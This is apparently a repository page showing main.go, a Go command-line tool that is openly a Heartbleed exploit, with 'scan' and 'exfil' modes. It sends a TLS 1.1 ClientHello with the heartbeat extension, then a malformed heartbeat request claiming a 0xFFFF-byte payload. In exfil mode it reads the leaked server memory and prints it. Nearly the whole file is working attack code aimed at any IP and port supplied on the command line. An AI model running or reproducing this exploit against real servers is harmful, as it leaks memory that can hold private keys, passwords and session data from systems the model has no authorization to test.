-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
144 lines (131 loc) Β· 5.33 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
package main
import (
"errors"
"fmt"
"io"
"net"
"os"
"github.com/mkideal/cli"
"github.com/pterm/pterm"
)
type argT struct {
cli.Helper
Mode string `cli:"*mode" usage:"scan or exfil"`
Server string `cli:"*server" usage:"IPv4 string"`
Port int `cli:"*port" usage:"0 to 65535"`
Bytes int `cli:"bytes" usage:"only required for exfil mode, default to 100" dft:"100"`
}
func (argv *argT) Validate(ctx *cli.Context) error {
if argv.Mode != "scan" && argv.Mode != "exfil" {
return fmt.Errorf("mode %s is invalid", argv.Mode)
}
if argv.Port < 0 || argv.Port > 65535 {
return fmt.Errorf("port %d out of range", argv.Port)
}
if net.ParseIP(argv.Server) == nil {
return fmt.Errorf("%s is not a valid ip address", argv.Server)
}
return nil
}
func main() {
os.Exit(cli.Run(new(argT), func(ctx *cli.Context) error {
argv := ctx.Argv().(*argT)
pterm.Info.Printf("Starting exploit with %s mode at %s:%d\n", argv.Mode, argv.Server, argv.Port)
pterm.Info.Printf("Initializing TLS client . . .\n")
server := fmt.Sprintf("%s:%d", argv.Server, argv.Port)
conn, err := net.Dial("tcp", server)
if err != nil {
pterm.Error.Printf("Unable to connect to server at %s, err : %s\n", server, err.Error())
return nil
}
defer conn.Close()
clientHelloMsg := []byte{
0x16, 0x03, 0x02, 0x00, 0x36, // Content type = 16 (handshake message); Version = 03 03; Packet length = 00 36
0x01, 0x00, 0x00, 0x32, // Message type = 01 (client hello); Length = 00 00 32
0x03, 0x02, // Client version = 03 02 (TLS 1.1)
0x50, 0x0b, 0xaf, 0xbb, 0xb7, 0x5a, 0xb8, 0x3e, 0xf0, 0xab, 0x9a, 0xe3, 0xf3, 0x9c, 0x63, 0x15,
0x33, 0x41, 0x37, 0xac, 0xfd, 0x6c, 0x18, 0x1a, 0x24, 0x60, 0xdc, 0x49, 0x67, 0xc2, 0xfd, 0x96, // Random (uint32 time followed by 28 random bytes)
0x00, // Session id = 00
0x00, 0x04, // Cipher suite length
0x00, 0x33, 0xc0, 0x11, // 4 cipher suites
0x01, // Compression methods length
0x00, // Compression method 0: no compression = 0
0x00, 0x05, // Extensions length = 5
0x00, 0x0f, 0x00, 0x01, 0x01, // Enable Heartbeat extension
}
heartbleedPacket := []byte{
0x18, 0x03, 0x02, 0x00, 0x03, // Content type = 18 (heartbeat message); Version = 03 02; Packet length = 00 03
0x01, 0xff, 0xff, // Heartbeat message type = 01 (request); Payload length = FF FF
// Missing a message that is supposed to be FF FF bytes long
}
pterm.Info.Printf("Sending Client Hello . . .\n")
_, err = conn.Write(clientHelloMsg)
if err != nil {
pterm.Error.Printf("Unable to send client hello message, err : %s\n", err.Error())
return nil
}
for i := 0; i < 4; i++ { // Expect to receive 4 TLS handshake packet (Hello, Certificate, Server Key Exchange, Hello Done)
recvTLSHeaderBuf := make([]byte, 5) // We are expecting to receive 5 bytes of header
_, err = io.ReadFull(conn, recvTLSHeaderBuf)
if err != nil {
pterm.Error.Println("read error:", err)
return err
}
contentType := recvTLSHeaderBuf[0]
if contentType != 0x16 {
pterm.Error.Printf("Wrong content type received for Server Hello, expecting 22 got %v\n", contentType)
return errors.New("wrong content type received for Server Hello")
}
tlsVersion, _ := convertToInt(recvTLSHeaderBuf[1:3])
if tlsVersion != 770 {
pterm.Error.Printf("Wrong version received for Server Hello, expecting 770 (TLS 1.1) got %v\n", contentType)
return errors.New("wrong version received for Server Hello")
}
length, _ := convertToInt(recvTLSHeaderBuf[3:])
pterm.Info.Printf("Received message : type = %v, ver = %v, length = %v\n", contentType, tlsVersion, length)
recvPayloadBuf := make([]byte, length) // Receive the data that the server told us it'd send
_, err = io.ReadFull(conn, recvPayloadBuf)
if err != nil {
pterm.Error.Println("read error:", err)
return err
}
}
pterm.Info.Printf("Successfully received all packets for Server Hello\n")
pterm.Info.Printf("Sending heartbeat message . . .\n")
_, err = conn.Write(heartbleedPacket)
if err != nil {
pterm.Error.Printf("Unable to send heartbeat, err : %s\n", err.Error())
return err
}
recvHeartbeatRespHeaderBuf := make([]byte, 5)
_, err = io.ReadFull(conn, recvHeartbeatRespHeaderBuf)
if err != nil {
pterm.Error.Println("read error:", err)
return err
}
contentType := recvHeartbeatRespHeaderBuf[0]
tlsVersion, _ := convertToInt(recvHeartbeatRespHeaderBuf[1:3])
length, _ := convertToInt(recvHeartbeatRespHeaderBuf[3:])
pterm.Info.Printf("Received message : type = %v, ver = %v, length = %v\n", contentType, tlsVersion, length)
if length > 3 || contentType == 0x18 { // Server did responded with something
pterm.Warning.Printfln("Server returned more data than it should or server did processed malformed heartbeat request - server is vulnerable!")
if argv.Mode == "exfil" {
pterm.Warning.Printfln("Dumping %v bytes from response:", argv.Bytes)
recvHeartbeatRespPayloadBuf := make([]byte, argv.Bytes)
_, err = io.ReadFull(conn, recvHeartbeatRespPayloadBuf)
if err != nil {
pterm.Error.Println("read error:", err)
return err
}
fmt.Println(string(recvHeartbeatRespPayloadBuf))
}
} else {
pterm.Success.Prefix = pterm.Prefix{
Text: "INFO",
Style: pterm.NewStyle(pterm.BgGreen),
}
pterm.Success.Println("No response received, server likely not vulnerable")
}
return nil
}))
}